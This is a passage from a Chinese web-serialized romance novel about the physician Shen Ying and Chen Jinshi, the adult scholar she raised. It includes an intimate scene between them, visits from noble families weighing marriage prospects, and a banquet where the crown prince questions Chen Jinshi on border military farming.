杨芷薇非但没有松口气,反而眉头微蹙:“喘症,我闲时翻看过几本医书,怕是有嗣于后代之嫌。”她语气里没有惋惜,只有几分理性的考量,“不过他对边屯之策的见解,倒适合入翰林院修史,或是进户部管屯田事宜。” 谢清樾点头:“此事可之后与老师商量。” 杨家六女杨令月从屏风后站出来,对她五姐道:“我倒挺喜爱陈二公子。” 杨芷薇侧眸淡淡看她。 杨令月解释道:“五姐,你不觉得陈二公子长得好看吗?比清樾哥哥还要好看。” 谢清樾一时语塞,望着六姑娘哭笑不得。 沈樱正坐在天井里熬药,身上披着灰色的毯子,药香弥漫,她心如止水。 陈锦时走过去,从身后轻轻抱住她,下巴抵在她发顶,像终于回到了适合他栖息的港湾。 手放在她后背,摩挲她后背小衣系带的结,小声道:“我想解开它。” “先把药喝了。”—— 作者有话说:叽里咕噜说什么呢,我要回去找我阿姆上炕 第53章 沈樱垂下眼,用陶瓷药勺搅了搅浓稠的药汁,特地给他熬的。 “药快熬好了,你别胡闹。” 她偏过头,他下颌蹭着她鬓边的绒绒碎发。 陈锦时的手还停留在她后背的结上,没继续动作,只是掌心贴着她,感受着底下温热的体温。 闻着药罐里的味道,避子药的清苦气味令他心醉神迷,过了一会儿,他捉起她的手,按在□□处:“阿姆,今天值得庆祝。” 沈樱手里拿着控火的扇子,一巴掌扑扇过去:“起开些。” 他仍抱着她,扇火用的蒲扇并不能将他扇疼,只是那么弹跳了一下,有些钝痛。 系带散开的瞬间,沈樱后背一僵,小衣的布料顺着脊背往下滑了些。 她将药罐子拿起来,缓缓倒入碗中。陈锦时的手掌在她后背,有些放肆。 “等凉些再喝,喝了再等半个时辰才起效,你先别急,耐心等着吧。” 那个人的手顺着她的衣摆往上蹭,隔着层薄布也能摸到她脊背细腻的肌理,他的声音黏糊糊的:“好。” 沈樱慢悠悠地动作,他膝盖抵着石凳边缘,忽然将她整个人圈在臂弯与桌面之间,掌心贴着她后腰轻轻揉着,凑在她耳边的嗓音半哄半蛊惑:“我先侍奉你一回。” “你想怎么做?” 她冷静地注视他,眨了眨眼,她不是会退缩的女人。 他举起他的手在她眼前挥舞:“你喜欢这个吗?” 她审视了几眼,轻轻点头:“如果是手的话,我想我会很喜欢,它很漂亮。” 陈锦时便像一只开屏的孔雀,眼尾瞬间染上笑意,指腹轻轻抚着她的腰肢,带着几分得意:“阿姆说好看,那便只给阿姆用。” 他的手掌顺着她的腰侧下滑,勾住她裙摆的系带。 沈樱握着药碗的手没动,只是垂眸看着他的动作,冷声道:“你的手还要用来写文章。” 他 温柔解开她裙摆的结,布料顺着腿侧滑落,露出一大片白皙肌肤。 如今已是深夜了,府中无人,就算这里是一片四面通透的天井,月光照在她莹白的腿上,陈锦时低头,嘴唇蹭过她的膝盖,手掌轻轻覆在她的腿上,慢慢上移。 沈樱呼吸微滞,药碗晃了晃。 她抬手抚上他的头发,指尖穿过他的发梢,嗓音温柔得不像话:“你好乖。” “阿姆,我是你一手带大的,我的身体也是,你要我做什么都是应该的。” 是的,她教养他的这段时间,正是男子身体出现显著变化的时期,那么,她霸道地想,他长大的所有地方,都该属于她。 一片混乱中,沈樱都有些心猿意马,忍不住掐他腰侧。 他将头扯到一边,喉结上下滚动着,做了好几个吞咽的动作,呼吸很粗重。 “阿姆,药可以喝了吗?” 她手背轻轻碰了一下碗沿,抚着他的头道:“还有些烫,再晾一会儿。” 陈锦时蹲在她身下,两人的身体贴得很近,他偎在她的腿上,仰头,渴望她的吻,手上的动作仿佛在对待稀世珍宝,沈樱闭着眼,手指轻轻摩挲着他的后颈,感受他柔腻地滑动。 过了一会儿,她伏在他肩上轻轻喘息,拿起药碗,轻轻吹了吹,递到他嘴边:“慢点喝,别烫着。” 陈锦时乖乖张嘴,一口一口喝药,她喜欢看他喝下她的药,他从小便是这样,只要是她的药,他都得尽数喝下。 苦涩的味道在嘴里蔓延,他满心期待,尽数灌入喉中。 待他饮尽,她再往他嘴里塞上一颗糖。 他的手指撤出来,起身吻她的唇。 他的动作比刚才更急切些,沈樱微微仰头。 她还记得问他:“今日过得如何?可结交了好友?” 陈锦时的呼吸瞬间粗重,喉咙里溢出细碎的闷哼。 “不怎么样,阿姆。” 他手掌更紧地圈住她的腰。 陈锦时的吻顺着她的唇角往下,落在颈侧时轻轻咬了一下,声音闷在她的肌肤里:“我一直在想你。” 沈樱的指尖还停在他后颈,轻轻刮了下他的皮肤:“想我什么?你如今已是志得意满,该高兴才是。” 他唇松开她,埋在她颈窝里,闷声道:“也许吧。沈樱,可是这不是我想要的。” “那你想要什么?” “我只想待在你的怀里。” 沈樱抬手圈住他的脖子,主动吻了吻他的唇角:“你不能待一辈子,我希望你站到高处去,你天生就不是无名之辈。” 陈锦时抱着她的手臂用力,几乎要将她嵌进自己身体里。 “我觉得这些都没滋没味的。” 沈樱的指尖顺着他的脊背慢慢往下滑,像是在安抚一只小猫。 她轻轻叹了口气:“傻话,我也没说要走,陈锦时,你什么都可以得到,不必非要失去什么。” 她想,他总有一天会渐渐淡下来,男人,怎会逃得过权力的滋味,到了那时,她默默离开也就是了。 他是她最为溺爱的孩子,现在要她如何哄他都行。 没过两日,沈樱接到了杨夫人的拜帖,她没想到自己能迎来这样一位贵客。 陈锦行同样对此感到惊诧,像那样的人物,身边并不缺医术高超的医师,就连已经入了太医院的陈锦行,也并不够格得到杨夫人的赞赏。 陈锦行道:“杨夫人身份尊贵,身后牵扯着首辅,咱们切不可怠慢。” “放心,我应付得来。” 第二日巳时,杨家的轿子准时停在府门前。沈樱亲自到门前迎接,见杨夫人身边跟着两名侍女,还有一位身着浅紫襦裙的少女,正是杨令月。 杨夫人见陈府门前立着一高挑女子,那女子不算京中贵女常见的纤弱窈窕,反倒高挑挺拔,脊背挺得笔直,带着股利落劲儿,身上着软料素衣,衬得这份利落里裹了层温和的软意。 再看衣着,是极素净的青色襦裙,裙角垂到脚面,拢出一双修长的腿。最打眼的是她那双眼,只含着抹平和的笑,也无半分刻意逢迎,眼下淡淡的青影,也没折损那份通透。 通身沉稳平和的气度,还有那双能治病救人的手,便值得人高看。 怪不得,小谢想让她替他亲自走这一趟。 “沈医师不必多礼。”杨夫人上前一步,语气温和,没有半分架子,“我今日来,一是为了谢你之前为我配的丸药,二是想再请你帮我瞧瞧身子。” “夫人里面请,屋中简陋,还望勿怪。”沈樱侧身引着二人往正屋走,路两旁种着几株新栽的薄荷,风一吹,清苦的香气混着院里的槐花香飘来,倒让人觉得清爽。 正厅已收拾妥当,张若菱使人端着刚泡好的雨前茶进来,茶盏是普通的白瓷。 杨令月本是个活泼性子,不过家教使然,刚到了别人家,必不会多说多做。只是目光好奇地扫过陈府墙上挂着的药材图谱,指尖轻轻碰了碰桌角摆着的小陶罐,里面装着晒干的金银花。 “夫人近日有何处不舒服?” 杨夫人接过茶盏,指尖触到温热的杯壁,轻轻叹了口气:“近来总觉得夜里睡不安稳,翻来覆去到后半夜才能眯一会儿,白日里处理府中琐事,也总提不起精神,连带着胃口都差了些。” 沈樱抚裙坐下,请杨夫人将手腕搭在桌上,她抬手诊脉,指腹贴着脉搏静静感受片刻,眉梢微蹙又缓缓舒展。 杨夫人一直在打量她,谢清樾是两家长辈都极看重的后辈,他的婚事自然不是小事。 沈医师品貌瞧着皆好,虽说出身有些偏了,也并非正儿八经的汉族人,但谢家又不是皇家,不在意这个,至于门楣的,说来好笑,沈姑娘身上应是全然没什么门楣可言的。不过谢家是顶顶的大族,向来不屑于再寻大族联姻,媳妇的品格才是最重要的。 “夫人脉象平缓,只是气血稍虚,想来是劳心费神所致。” 她收回手,“您若还信任我,我便再重新配一丸药给您。” “之前小谢问你要来的那些药,我一直在吃,身子倒比从前轻快些,就是这睡不好的毛病没见好。” 沈樱沉吟了片刻,温婉笑道:“您心里装的事太多了,要顾着上下几十口人的吃穿用度,这些事看着细碎,可桩桩件件都要周全,白日里撑着精神应对,夜里躺下,脑子里怕还在过明日要办的事,哪能睡得安稳?” 杨夫人眼底闪过一丝诧异,倒没想过对方能说出这么一番话来,便轻轻叹气:“话是这么说,可这些事情,躲也躲不过去呀,我不得不思虑。” “我知道,但看着一家人都被照顾得很好,思虑再多也觉得是值得的。”沈樱一边抬笔写药方一边道。 沈医师的话语就像温水浸过心,听着就是让人感到舒服,杨夫人对她更是欣赏。 沈樱递过一张方子:“您得答应我,每日傍晚抽半个时辰,就坐在院里看看花,或是让侍女读段闲书,什么都别想,您得先让自己闲下来,药才能管用。” 杨令月在一旁听着,忽然道:“母亲,我陪你一起,我给你读话本。” 杨夫人被女儿逗笑,沈樱也笑:“请问小姐多大了?” 杨令月答:“十六了。” “我们家也有一位小姐,不过才十三。” 杨夫人道:“十三还不必着急,女孩子小时候,当读书多于交际,待她十五再开始交际也不迟。” 沈樱握着笔的手顿了顿,眼底漫开温和的笑意:“夫人说得是。我家那位小姐性子静,最爱抱着医书坐在院里读,起初我还怕她闷,后来见她读得入神,倒觉得读书确实能养心性,比早早学那些应酬的虚礼好。” 杨令月眼睛一亮:“听说沈姐姐是楼烦人,我也喜欢读书,不过我不爱读医术,我爱读游记,里面有写到楼烦的风沙和草原,可有意思了!” 沈樱轻轻朝她点头:“我有一本带有花草图谱的游记,里面写了各地的奇花异草,既能看风景,又能认些植物,你定然喜欢,不如送你。” 杨令月眼睛瞬间亮起来:“谢谢沈姐姐!我早就想知道,游记里写的‘楼烦秋时,沙棘满坡’是不是真的,还有里面说的‘风滚草’,当真会跟着风跑吗?” 沈樱使唤小厮去陈锦时房里找出那本书来,又朝杨令月点头:“是真的。楼烦很美,沙棘很酸,熬出来的果酱却很好吃。” 杨令月与她聊得投机,转了转眼珠子,忽然想到什么,便问起:“陈二公子可在?” 沈樱一愣,笑道:“你如何认识他的?” 杨令月道:“那日在琼林宴上,陈二公子与我五姐聊了许久我听也听不懂的话题,今日我可不就替我五姐来瞧瞧他么。” 杨夫人佯装指责:“小六,不得无礼!” 杨令月被母亲一训,果然住了嘴,坐得端正:“沈姐姐抱歉。” 沈樱轻轻笑着摇头:“没什么的,陈二在家。” 她将视线落到杨夫人身上,要不要叫陈锦时出来拜见,得听长辈的意思,女眷在场,他也不可贸然出来。 杨夫人面上没什么表情,不过还是顺从了小女儿。 “我也喜欢那个后生,叫他出来见见吧,不必太拘着礼数。” 沈樱应声起身,走到门口轻唤了一声。 陈锦时方才在后院替沈樱打理药材,闻言便缓步过来,长衫下摆还沾着点泥点子,指缝里隐约带着草药的清苦气息。 沈樱见他就这么来了,还颇有些恨铁不成钢的心思。 这般贵客在此,他也不知换身板正点的衣裳。 他走到厅中,礼行得中规中矩:“见过师母。” 目光扫过杨令月,微微颔首,随即转向沈樱,面无表情。 她叫他出来见客,他就来了,然后呢。 杨令月见他过来,先前被母亲训得端正的坐姿又松了些,忍不住话从口出:“陈二公子换了身布衣还是生得好看,我瞧着是极配我五……” 杨夫人脸色一变,厉声训斥:“休要满嘴胡言。” 沈樱一愣,忙打圆场:“姑娘还小,不该拘着说什么话,夫人别气。” “小六是被我惯坏了,从小教导她便没有教导小五那样严厉,可女孩子家,哪能什么话都往外说。” 杨令月瞬时闭嘴,实在是沈姐姐的气度太温柔了,害得她什么都敢说,她惯会察言观色,要真是父亲或是祖父在前,给她一百个胆子她也不敢多说。 陈锦时紧贴在沈樱身后,手扶着她的腰。 沈樱不动声色地避开。 她淡淡瞥了陈锦时一眼,朝杨夫人道:“他也不曾开窍,说些什么,只当他听不见便是了。” 陈锦时指尖僵在半空,喉结悄悄滚了滚,垂在身侧的手慢慢攥紧,好像他这副模样给她丢了人。 他无所谓地耸耸肩,始终跟在她身后站立。 沈樱好似从杨夫人与杨令月的话中明白了什么,那个她未曾谋面的杨五姑娘。 陈锦时的手始终若有似无地搭在她背后,杨夫人夸他品性端方,男子沉稳安静是最可贵的。在他抚过她后背时,只有沈樱无数次回想,这双手昨晚穿过了她,拿出来时,黏在一起的中指和无名指,向她张开,他痴痴笑着的模样。 他很喜欢自己湿而黏的手指,这很自豪,这代表她被他取悦到了。 他会痴痴地笑,然后抚弄自己的腹肌,叫她降下眼眸去看。 如今他很乖巧,他也明知杨夫人此行对他有什么样的审视和打量,在沈樱忐忑不安之时,他并不会当着客面做出什么让人难堪的事情,以便让人拂袖而去。 杨夫人语气依旧温和:“我早前倒听说陈家二郎幼时是个顽劣的,如今瞧着倒是安静。” 那样的传言稍一打听便能得知,虽说陈锦行绝不会对外宣称自己有个顽劣的弟弟,但二房的人未必不会。 沈樱垂着眼,喉间低低应了声“嗯”。 “他长大了就好些了。” 正说着,院外忽然卷来一阵风,吹得厅中挂着的竹帘轻晃了晃。 春日的风也透着浸骨的寒,沈樱下意识拢了拢衣襟。 陈锦时登时站出来,几位女眷都看着他。 “阿姆,我去给你取件披风。” 只朝杨夫人微微颔首示意,转身便快步往厢房走,方才打理药材时,他见沈樱的素色披风就搭在廊下的竹椅上。 不过片刻,他便捧着披风回来。 他走到沈樱身后,动作自然地将披风展开,轻轻往她肩上拢。 指尖绕过她脖颈时,刻意放轻了力道,在客人面前,他极小心地不碰到她,维持那样的克制距离,只慢慢将系带绕到她身前,替她系了个松快的结。 沈樱欲抬手接过,但看他认真又刻意维持距离的小心,她收回手,指尖悄悄蜷了蜷,没说话,只轻轻叹了口气。 杨夫人将这一幕审视过去,端着茶盏的手顿了顿,她身旁自有侍女为她添衣,陈锦时没顾上她,倒不算失礼,她想的是别的。 杨令月压低声音道:“陈二公子好细的一颗心。” 女子总是会为男子的细心所打动。 杨夫人瞥了眼女儿,饮了口茶:“男子该做大事,太过心细,不一定能取得芷薇的青眼,这些事情,本就有侍女来做。” 杨令月似懂非懂,却还是点了点头。 陈锦时站回沈樱身后,沈樱抬眼朝杨夫人笑了笑,语气平和:“他自小就懂事,心比旁人细,唯独对自己粗糙些,幼时喜爱舞刀弄棍,丝毫不顾及身子的。” 沈樱也不知自己存了什么心思,一面想要杨夫人当真看上陈锦时,一面又……罢了,难不成,真要她说他坏话? 陈锦时进士出身,往后仕途定是全要指望座师杨敞。他在今科进士里又算是年纪最小的。一甲那三位,年纪上是绝入不了杨府的眼的。 沈樱却不知,杨夫人今日来,比起瞧瞧陈锦时,更多是来看她的。 沈樱见杨夫人茶盏已空,忙抬手示意下人添茶,又笑着道:“府里今早刚蒸了枣泥糕,夫人和小姐尝尝?” 说着便亲自起身,从食盒里取了两块,分别递到杨夫人与杨令月面前的碟中。 她总算察觉杨夫人的目光一直在她身上,鲜少落到陈锦时那儿,唯有杨令月出于好奇,时不时看他一眼。 沈樱想明白了一些,像这样的家庭,怎会仅凭一面就当真瞧得上陈锦时做女婿,今日杨夫人前来,除了瞧病以外,只怕还有别的目的。 待日头偏西,沈樱要留人用饭,杨夫人起身告辞:“今日叨扰许久,我与谢夫人原也是手帕交,赶明儿她若见了你,定也会喜欢你。正好这月十九是我家老爷子寿辰,届时你也来,沈姑娘,我是极喜欢你的。” 沈樱忙起身相送,一路送到府门口,这才后知后觉。 她立在台阶上怔了片刻,才缓缓转身,便见陈锦时倚在廊柱上,手里攥着根狗尾巴草。 沈樱目光落在他身上,语气听不出情绪:“你今天应该好好表现。” 他今日在杨夫人面前,实在表现得太过平平无奇。 甚至显得木讷、无趣,不讨人喜欢。连他身上带的本来令人讨厌的特质也消失了。 陈锦时抬眼瞧她:“哦。” “那你呢?”他又问。 “我什么?”她转身往正厅走。 “你表现得如何?” 沈樱脚步一顿:“你想说什么?” “她是为了谢清樾而来,沈樱。” 陈锦时不愿对她霸道地占有,也许,他应该赞成她无论做出什么样的选择。 但那违背他的本性。 也因此,他如今长成了一个越来越别扭的人。 沈樱听到他这样的说话并不感到高兴,她冷下脸来:“陈锦时,别胡闹。” 她往屋里走,他跟上去:“可你还没有向谢清樾说清楚。” “我还没有来得及见他,等下次见他,我会说清楚。” 她在椅子上坐下,陈锦时站立在她身前,俯视她,眼神委屈和逼视交杂。 他站得很近,膝盖一抵,便抵开了他的两条腿。 “不,阿姆,你可以不与他说清楚,你可以为自己保留一个可能。” 沈樱诧异地抬头,她轻轻抬腿,一条腿搭在另一条腿上,足尖蹭过他的小腿。 他两条腿就那样坚硬 地站立,一动不动。 “是吗?那我就,如你所言好了。” 他喉结滚了滚,僵着身子没动。 他已经有了反应,得了她这样的回答,仍装作若无其事。 他继续劝道:“如果阿姆觉得,他的确很合适的话。” 沈樱心里像被什么东西堵着,闷得发疼:“陈锦时,你不该说这样的话。” 他俯身,双手撑在椅臂上,将她圈在怀里:“阿姆,我是为你考虑,我现在很乖的。” 他的手掌覆上她的后颈,正直直盯着她,她被迫抬头,而他正暗示性地抚摸着某处皮肤。 他的眼神同样晦暗不明,嘴里却说着完全不同含义的话。 就在沈樱真正怀疑起他的意思时,他忽然俯下身,逼迫她,与他直视。 “阿姆,我足够乖巧听话吗?如果你对我还算满意的话,我想把你*死在榻上,可以吗?” 他终于凶相毕露,沈樱微张着唇,难以置信地打量他。 他一向是这样,用行动和身体反应向她展示自己想做什么,而不是靠言语。 所以他方才说的话,哪些她可以相信?还是万万不能相信,不能去做!否则…… “阿姆,温柔地回应我,好吗?我喜欢你温柔地与我说话,那样让我很想……” 他抚摸着她的脸颊,眼神里已是藏不住的攻击性与凶性。 他已与她脸颊相贴:“让我尽兴,就当是惩罚。” 惩罚?沈樱很想知道,他的意思是,惩罚谁? 第54章 杨府的寿宴,陈锦时亦在受邀之列。 他与沈樱以一家人的身份一同前去。 二甲第七的名次,无论是以朝廷未来栋梁招揽,还是当真想将他收为女婿,陈锦时出现在这里都不奇怪。 倒是并未收到请帖的周林,明明位列第三,看得眼睛有些红,暗自跺脚叹陈二命真好,借着陈老将军的关系便能结识谢清樾,进而攀上杨家。 陈家看似平平无奇,实则他们父亲留下的功勋和人脉无一消失。 入了杨府,沈樱与陈锦时分了手,她被引着去了内院,杨夫人见了她,将她引到了一位陌生的夫人面前。 正是谢清樾的母亲谢夫人。 谢家家教不凡,能教养出谢清樾那样的后辈,谢夫人瞧着端庄贵气,浑身却也没半点架子。 目光落在沈樱身上时,带着温和的审视。 沈樱知道对方在审视自己,却并未感受到不适。 “见过夫人。”她福身行了一礼,暗道,这些日子她一直没机会见到谢清樾,好与他说清楚一些事情,眼下谢夫人在此,她实在不好与她明说,便只好礼数周全地应对。 谢夫人伸手虚扶了一把,语气温和:“沈姑娘,不必多礼。” 她站在厅中,堂上两位夫人皆坐着,打量她,面上带着温和笑意,并不使她感到局促。 但想到这样的打量因何而来,她心中越发不安。 正说着,杨府几位小姐也进来,挨个行了礼,问了安,与沈樱一同站在一侧。 沈樱不觉望向为首的那位,名为杨芷薇的小姐。 谢夫人话锋一转,取下手上玉镯:“我瞧沈姑娘极有眼缘,不怪杨夫人喜欢你,我见了你也是极喜欢的,你来,我送你个见面礼。” 沈樱忙往后退了半步,屈膝作揖,语气恭敬却坚定:“夫人美意,小女心领了。这玉镯太过贵重,晚辈实在不敢收。” 她拒绝的意图太过明显,谢夫人握着玉镯的手顿了顿,眼底闪过一丝诧异,随即又笑了:“收下吧,这是咱们之间的情分,不干旁人的事。” 沈樱一怔,谢夫人既给了自己台阶,自己也该给她,便上前:“那便多谢夫人。” 杨夫人朝杨芷薇使了个眼色,杨芷薇会意,走上前两步,对着沈樱浅浅一笑:“沈医师,早前听六妹说起你,听说你来自楼烦,我倒想跟你多聊聊。” 对方语气亲切,目光里自带贵女的半分傲气,却并不令人反感,只是,天生带着些与人的距离感。 世家贵女大多如此,不刻意亲近,也不轻易失礼。 以沈樱的评判,这样待人,难免少了许多真心。 “小姐若好奇,我便多说说。”沈樱语气自然,“我阿兄前些日子还给我寄了些沙棘果,我送小姐一些,小姐可以尝尝。” 两人正说着,门外忽然传来轻响,侍女进来禀报:“夫人,谢公子来了。” 话音刚落,谢清樾便走了进来,腰束玉带,身姿俊郎,目光扫过厅中时,先落在他母亲身上,行了一礼,而后转向沈樱,朝她微微颔首,笑容清朗坦诚。 沈樱松了口气,预备对谢清樾说清楚一些话,并不令她感到难做,他也是令人感到很舒服的人。 几乎是在见到他的一瞬,她便松了口气。 杨芷薇对沈樱轻轻“嗯”了一声,算是对她刚才话的应答。 正说着,门外又传来侍女的声音:“老大人请各位夫人、小姐到前厅观戏,寿宴也快开席了。” 杨夫人率先起身:“走吧,别让老大人等急了。” 又转头对沈樱和杨芷薇道,“前厅热闹,但我家规矩不体现在这些地方,沈医师千万不必拘谨。” 沈樱点头应下,目光悄悄往谢清樾那边扫了一眼,见他也朝自己看过来,便朝他递了个“稍后再说”的眼神。 谢清樾会意,轻轻颔首,落后半步跟在众人身后。 一行人往前厅走,回廊上挂着红灯笼,映得花团锦簇,杨芷薇走在沈樱身侧,忽然轻声开口:“沈医师,听说陈二公子受你照拂颇多。” 沈樱脚步顿了顿,随即坦然道:“是,他自幼体弱,我承他父亲所托,照料他身体,与他……算半个长辈。” 杨芷薇“嗯”了一声,一行人穿过月洞门,便能见到几位锦袍公子正聚在一处说话。 沈樱悄悄打量杨芷薇,这位小姐,好似对陈二真有几分心思。 但她可选择的太多了,沈樱都有些替陈锦时感到受宠若惊。 杨芷薇姿态大方,上前打招呼,沈樱稍落后几步,正好与后面走着的谢清樾并肩。 此处恰好无人了,正适合说话。 “谢公子,好久不见。” 谢清樾先对她致歉:“我说了要来府上拜访,一直没找到机会来,我想着……先叫你见过我母亲,不过你放心,我绝未对她说过什么肯定的话。” 沈樱轻轻点头:“是,我知道,夫人也并未待我过甚。但你去年走前问我的话……” “先别说,都兰,我先说。” 沈樱张着嘴一顿,没再把话说出口。 “我已向圣上请旨,过了春天还回北境去,大抵往后都会待在那边,若你……还愿意的话,往后咱们也不住在京城,你大可再考虑考虑。” 沈樱实在惊诧。 “可你,你不是已有进士出身?” 谢清樾苦笑一声:“家里人逼的,都兰,你明白么?” 他看着沈樱,眼神坦诚:“我如今把我的打算告诉你,只是想说,你大可重新考虑,不光是人,你往后的日子想在哪儿过呢?” 沈樱握着帕子的手紧了紧,心里满是复杂。 她将来当然是可能回家去的,这样一来,她事先想好 的,要彻底拒绝谢清樾的话,便怎么也说不出来了。 都兰承认自己的坏和自由,对感情也没有那么忠贞,草原上的女子改嫁是常事,嫁来嫁去,同时被好几个汉子追求也是常事。 本来,她跟陈锦时就是不能一生一世的,两人荒唐过了也该散了,她何必自欺欺人。 再说在她眼里,男子更不可能一心一意,甚至,她一直在等待着陈锦时放下她,看向别人的那一天。 她抬眼看向谢清樾,认真问道:“有一事,谢公子务必如实相告。” “你问。” “你决定往后留在北境,完全是自己的志向吗?绝没有我的缘故?” 谢清樾沉默片刻,缓缓开口:“是,不管有没有你,我都会请旨留在那儿。所以你大可不必现在给我答案,我先过去,等你回家了,咱们再说其他的。” 沈樱张了张嘴,望着他坦率的眉眼,忽然无法直接张口说出拒绝,无法说出:“不,我们这辈子也不可能,你还是断了这份心吧。” 所以昨晚陈锦时对她的惩罚,真是应该。 沈樱对谢清樾有些愧疚:“谢公子,我希望你能知道,这对你不公平。” “这是我自愿的,都兰,谢谢你给我留了一个机会,这对我来说弥足珍贵。” 她虽不在意这个,但:“谢公子,但我还是希望你知道,我与陈锦时之间没有任何保留。” 谢清樾指尖蜷了蜷,有些沮丧:“我知道,他炫耀过。” 沈樱显然有些诧异,连带着耳尖都有些发红。 “啊?” “虽然我不知道该怎么让自己的肤色变得更白,但我会想办法的,都兰,我希望你有一天能见到,若你见了不喜欢,我再把衣裳穿起来,也无妨。”谢清樾低声说道。 沈樱后来难以形容那种感觉,一个向来正派守礼的世家公子,轻声与她说着那样的话。 直白又潇洒,很像草原上的汉子。为了追爱,大抵会直接脱下上衣,站成一排,供她挑选。 只是一瞬,谢清樾又恢复了正常模样,他母亲来了。 “谢三,与沈姑娘聊些什么呢?前厅都开席了,先过去吧。” 谢清樾转身迎上去,搀着母亲,语气自然:“没什么,聊些北境的趣事。” 沈樱听见谢夫人对谢清樾的低声劝告:“你父亲与你祖父商量了,他们还是希望你能留下来,提督九门步军巡捕五营缺个统领,乃正二品的官职,如何不可以呢?” “母亲,在京城里永远是办些人情差,儿子一身武艺,只想实打实地做些什么,不必再多说了。” 刚进敞厅,陈锦时站在人堆里,一群锦袍公子里,他生得格外高大伟岸些,气场远远盖过众人。 杨芷薇也在其中,往往她说上一句话,四周公子皆应和。 陈锦时抬眸望过来,见沈樱与谢清樾几乎是并肩过来,眸色稍沉。 沈樱避开了他不分场合直勾勾的目光,杨芷薇正跟几位公子论诗,见他们过来,笑着颔首,目光在沈樱与陈锦时之间扫了一圈,并没瞧出异样。 沈樱倒是有些觉得,为何杨芷薇会青睐陈锦时一些了。 他实在是生得皮相优越,尤其是站在一堆公子哥儿里。 现在说起来,他性子看着倒像是里面更沉的了。 如她所愿,如她所愿…… 台上戏声忽起,咿咿呀呀的尖利声音和喧天锣鼓声迅速盖过了一切。 沈樱看过去,她身边站着谢夫人,正邀她一同入座。 戏台上正唱到《挑滑车》的高潮,金鼓齐鸣震得人耳鼓发聩,台下宾客全被台上武生的高难度动作吸引。 沈樱知道身后有人在看她,在直勾勾的、不加任何掩饰的看她。 她还想质问他一番,向谢清樾炫耀了什么? 戏台上一出戏刚落幕,敞厅外忽然传来一阵整齐的脚步声,伴着内侍高唱:“太子驾到——” 沈樱心里一惊,以她的浅薄见识,想不到今日会遇到这等场面。 但周围人似是早有准备,瞬间起身,纷纷整理衣袍,唯有杨家的老大人没有起身。 不知何时,陈锦时已趁着众人起身的混乱,站到了她身后,轻轻唤了一声:“阿姆。” 她知道他就在她身后,随后众人齐齐下跪,又起身。 太子身着明黄常服,腰间系着玉带,朝老大人躬身行礼:“拜见老师,孤特来给老师祝寿。” 众人簇拥着太子入席,谢清樾站在最前,显是与太子有些交情。 除了他,太子身边还拥着几位世家公子。 太子抬眼望了一圈,忽然问道:“孤前几日读到一篇名为《军屯论》的文章,听说今科进士中,有一人对此颇有高见,此人今日可在?” 几位年轻公子便把目光齐刷刷落在陈锦时身上。 他还腻在沈樱身后,试图低声与她质问几句:“阿姆,你方才在跟谁说话?是不是谢清樾?他跟你说什么了?你可别听他的。” 杨芷薇上前请他出去:“陈二公子,太子殿下有请。” 陈锦时闭了嘴,沈樱没搭理他。 他无奈整了整衣袍,垂首缓步上前,在太子面前躬身行礼:“臣陈锦时,见过太子殿下。” 他一站出来,不光是太子的目光落在他身上,正在内阁任首辅的大学士杨敞在看他,已致仕的前太子太师杨老大人也在看他,更有几位特来向老太师拜寿的老臣,目光也在他身上。 沈樱心里忐忑不已,就是那么个人,方才还只管问她些烦人的问题,当然了,此时正站在太子身边,一身矜贵正气的谢清樾,方才说出的话也尤在耳旁回响。只不过他看起来要比陈锦时靠谱得多。 “军屯非仅为粮,实为固边之根。”太子语气带着探究,“这句话是你所写?” 陈锦时颔首:“是。” 杨芷薇轻轻蹙眉,这时候正该他畅所欲言,在太子以及这么多重臣面前狠狠展现自身才华,他怎的这般木楞。 从前倒没听说陈家老二是个傻的。 太子问:“我看你有大才,不只体现在笔杆子上,你父亲是名武将,你也不遑多让。那你文中提‘军屯需联牧民’,孤倒想知道,牧民与驻军素有摩擦,如何联得?。” 陈锦时目光不自觉望向沈樱,牧民的许多事情,都是她同他讲的。 但她朝他轻轻摇头,他知道,她并不希望他在这样的场合将她引出。 就像他从前在二房的宴席上一样,高声宣扬她是谁,是他的谁。 沈樱见他落寞移开看她的目光,松了口气,他果然比以前乖得多了。 乖一点吧,就乖一点。 “回殿下,牧民与驻军的隔阂,多因他们夹杂在两军之间。臣听父亲说起过,牧民们每季都游走扎营,并无明确国别,既有在敌国领土内的牧民救起我军伤兵,也有我军士兵护住从敌国游走而来的牧民的牛羊,为他们赶走马贼。其实人心本无隔阂,只要我军首先以诚相待。” 陈锦时说完一番话,又瞥了她一眼,沈樱仍朝他轻轻摇头。 偏杨芷薇察觉了这一番眉眼官司,小声问道:“沈医师,陈二公子对边境这般了解,可是你与他说的?” 沈樱轻轻摇头:“他父亲曾驻守北境,无需我与他说。” 杨芷薇偏头一笑:“您定是谦虚,您来自楼烦,祖上都是牧民,这些事情除了你,还有谁会教他,何不承认呢?” 沈樱一怔,直觉不妙。 “臣在文中提过‘储粮共担’,军屯与牧民约定,丰年时各自多储三成粮……” 太子听得眼中笑意更浓,杨芷薇走上前,语气平淡自然:“殿下,臣女方才听陈二公子所言,受益匪浅,倒想起陈府的一位沈医师正来自楼烦,对牧民习性极为熟悉,殿下若想更多了解,大可问一问沈医师。” 沈樱心里一紧,她并不 想走到人前。 怎料谢清樾也向太子推荐她:“殿下,沈姑娘精通医术,又通北境见闻,您大可见见。” 陈锦时沉默着看了一眼她,十分遗憾他的阿姆不是由他引出来的。 尽管他知道,在这样的场合,把她介绍出来,他几乎更不可能走上一条可以对她明媒正娶的路。 不过没关系,他本来也,从没肖想过这个。 他苦笑着,两者至少要占其一,出来吧,我的阿姆,至少要让他们知道,你是我最重要的女人。 太子果真对她产生兴趣,目光转向人群中:“哦?在场竟有这般人物?哪位是沈姑娘,不妨上前说话。” 太子年近三十,面容俊朗温和,眉眼间带着上位者的从容气度,却无半分倨傲,说话时唇角常带浅淡笑意,眼神明亮而深邃,既能洞察人心,又带着几分温润,让人见之生敬,同样生畏。 沈樱便只好坦然上前。 她生得高健,眉眼淡然温婉,琥珀色的瞳孔仿佛带有某种神性。 她福身行礼,姿态平稳:“民女沈樱,见过太子殿下。” 太子的目光落在她显得格外从容的瞳仁上,稍作停顿,打量她片刻,方才对她问道:“孤听闻你来自楼烦,又懂北境牧民习性,方才陈卿说‘以诚待牧民’,你可有补充?” 沈樱抬眸,语气诚恳:“回殿下,所言正是。只是牧民逐水草而居,最忌失信,早年曾有官员与牧民约定以盐换牛羊,后却以劣质盐充数,此后数年,牧民再不肯与官府交易。” 